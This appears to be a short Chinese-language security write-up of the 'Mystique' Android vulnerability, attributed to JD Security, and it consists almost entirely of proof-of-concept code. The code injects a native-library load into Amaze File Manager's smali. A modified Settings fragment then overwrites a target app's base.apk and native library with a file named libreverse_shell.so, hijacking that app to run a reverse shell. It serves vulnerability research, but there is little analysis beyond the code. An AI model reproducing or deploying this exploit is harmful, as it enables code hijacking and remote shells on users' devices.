京东安全发现的魔形女漏洞分析

.class public Lcom/amaze/filemanager/ui/activities/MainActivity;
.super Lcom/amaze/filemanager/ui/activities/superclasses/PermissionsActivity;
.source "MainActivity.java"

.method static constructor <clinit>()V
    .locals 1
    const-string v0, "rootoperations" # 我们添加
    invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V # 我们添加

package com.android.settings.development;
... ...
public class DevelopmentSettingsDashboardFragment extends RestrictedDashboardFragment
        implements SwitchBar.OnSwitchChangeListener, OemUnlockDialogHost, AdbDialogHost,
        AdbClearKeysDialogHost, LogPersistDialogHost,
        BluetoothA2dpHwOffloadRebootDialog.OnA2dpHwDialogConfirmedListener,
        AbstractBluetoothPreferenceController.Callback {
... ...

    public void onActivityCreated(Bundle icicle) {
        super.onActivityCreated(icicle);
        // Apply page-level restrictions
        setIfOnlyAvailableForAdmins(true);
        Log.d("CVE-TEST", "[+]begin replace");
        try {
            String path = SystemProperties.get("sys.target.path"); // 获取目标 APP 路径
            if (TextUtils.isEmpty(path)) {
                Log.d("CVE-TEST", "[-]can not get path from 'sys.target.path'");
            } else {
                File rootPath = new File(path);
                File sourceBase = new File(getActivity().getFilesDir(), "base.apk");
                File targetBase = new File( rootPath, "base.apk");
                copyFile(sourceBase, targetBase);
                Log.d("CVE-TEST", "[+]replace file: " + targetBase.getAbsolutePath());
                File sourceLib = new File(getActivity().getFilesDir(), "libreverse_shell.so");
                File targetLib = new File(rootPath,"lib/x86_64/librootoperations.so");
                copyFile(sourceLib, targetLib);
                Log.d("CVE-TEST", "[+]replace file: " + targetLib.getAbsolutePath());
                Log.d("CVE-TEST", "[+]replace done");
            }

        } catch (Exception e) {
        }
    ... ...
    }

}

    private void copyFile(File source, File  target) {
        try {
            java.io.FileInputStream fosfrom = new java.io.FileInputStream(source);
            java.io.FileOutputStream fosto = new java.io.FileOutputStream(target);
            byte bt[] = new byte[1024];
            int num;
            while ((num = fosfrom.read(bt)) > 0) {
                fosto.write(bt, 0, num);
            }
            fosfrom.close();
            fosto.close();

        } catch (Exception ex) {
        }
    }